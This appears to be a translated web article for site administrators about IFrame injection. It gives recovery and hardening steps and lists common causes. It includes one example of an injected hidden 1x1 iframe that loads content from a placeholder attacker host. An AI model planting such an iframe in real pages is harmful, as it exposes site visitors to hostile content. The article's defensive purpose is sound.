Discuss IFrame Injection Attacks

By inserting dynamic websites (ASP, PHP, CGI, JSP .) HTML tags or dangerous script code, in which the dangerous code inserted is mostly written with Client-Site Script like JavaScript , JScript, DHTML and also basic HTML tags. If you find that someone is targeting your website with this technique, don't worry too much. Here are some things to do when the website falls into this situation.

For example, a malicious code is often used to attack:

{xtypo_code}
iframe src="http://www.example-hacker-site.com/inject/some-parameters" width="1" height="1" frameborder="0"
content of malicious code
{/ xtypo_code}

1. Regularly maintain the website in a certain period of time:

Security experts recommend that administrators remove the entire website to avoid becoming the focus of spreading malicious code. And during the entire recovery process, continue to keep the offline status of the website.

2. Change all passwords:

At first glance it seems simple, many administrators seem to be not paying attention to this extremely important step. After being peeked at by hackers, you should renew all passwords including ftp, ssh accounts, admin accounts, databases .

3. Save 1 copy of the website for analysis:

To determine which causes and weaknesses have been exploited by hackers, you need to keep a copy of the original status at the time of the attack. This is very useful for analyzing and preventing future threats, you should save the website as a compressed file in rar, zip or gzip format and store in a safe place. Note that this quarantine file should never be saved directly on the server.

4. Replace the entire website with a completely clean backup:

Do not rely too much on host providers that will back up all your data. A lot of tech support regularly asserts that they have scheduled automatic backups, but nothing can be as certain as what you do on your own, moreover, two backup options are always better. 1 option

5. Check the website and upload it again:

This process should be thoughtful to ensure that the entire website is safe and error free, then you can post it again as before.

6. Learn about the origin of the attacks:

To ensure that the attacks will never be repeated, administrators should conduct a complete, detailed analysis and analysis of the attack. Where is the error? Security vulnerabilities or web applications? Or due to the decentralized decentralized mode, confused? Can the website be infected directly from the server hosting the data? All must be thoroughly researched and analyzed. If necessary, ask security experts from leading security companies such as Kaspersky, BitDefender, Norton, Panda, Avira .

7. Apply appropriate security measures:

Although you have successfully restored the website, there is no guarantee that your website will not be attacked again. If the old security vulnerability has not been overcome, it is possible that your website will be paralyzed tonight. Based on the analysis results obtained in the previous step, you should apply appropriate security measures, upgrade the server, install additional security programs, upgrade the entire web application or use the rules Completely new privacy laws.

Based on management experience and information gathered, we can contribute some more advice and objective predictions about the causes as follows.

Easy causes:

Website using cheap host service
Based on the old version of open source applications, such as WordPress 1.0 . which has many holes
Data access on the server is set in no particular order, for example, the right to manipulate data at 777 level - read, write and execute
Shortcomings of application software
Use FTP instead of SFTP
Unlimited IP for SSH and FTP accounts

Some simple but useful operations:

Change your password periodically, for example, every 2 weeks or 4 weeks
Always update the stable version of the application
Regularly 'clean up' the data folder on the server, notice if strange files suddenly appear
Decentralization levels are set correctly
Frequently communicate with units and experts to provide security services to receive the best advice.

Lesley Montoya

Update 26 May 2019

You should read it

May be interested

Web4: SQL injection - Exploitation steps
web4: sql injection - exploit steps. in this article, tipsmake.com will learn about sql injection exploitation steps.
Some basic points about the mechanism of attacking SQL Injection and DDoS
in most of our users, many people have heard of the concept of attacking and hijacking websites with the method of sql injection - sqli and (distributed) denial of service - ddos.
How to Prevent SQL Injection in PHP
this wikihow teaches you how to prevent sql injection using prepared statements in php. sql injection is one of the most common vulnerabilities in web applications today. prepared statements use bound parameters and do not combine...
Block hacker SQL Injection with ASP
sql injection is a hacker 's attack tool to steal vital, vital information of vulnerable organizations and companies.
Summary of popular network attacks today
for attacks by exploiting vulnerabilities, hackers must be aware of security issues on the operating system or software and take advantage of this knowledge to exploit vulnerabilities.
The 4 most popular network attacks towards older people in 2018
a statistic has shown that in recent years, cyber attacks tend to focus more on older users.
DNS attacks are costing governments worldwide huge amounts
government organizations in each country suffer an average of 12 dns attacks per year.
Test knowledge about hacking
this is a short educational questioning package that aims to give you some techniques that hackers use and help you protect your code from attack. you will be provided with the correct answer with detailed explanation after you have completed all the questions.
Microsoft warns of an increasing trend of attacks targeting firmware and worrying public indifference
this is indeed a worrying 'lethargy', especially given the recent increase in the number of attacks targeting system software.
Learn about DoS and DDoS denial of service attacks
denial of service attacks can be difficult to distinguish from network activities, but there are many signs to detect these attacks and tipsmake.com will introduce some of them.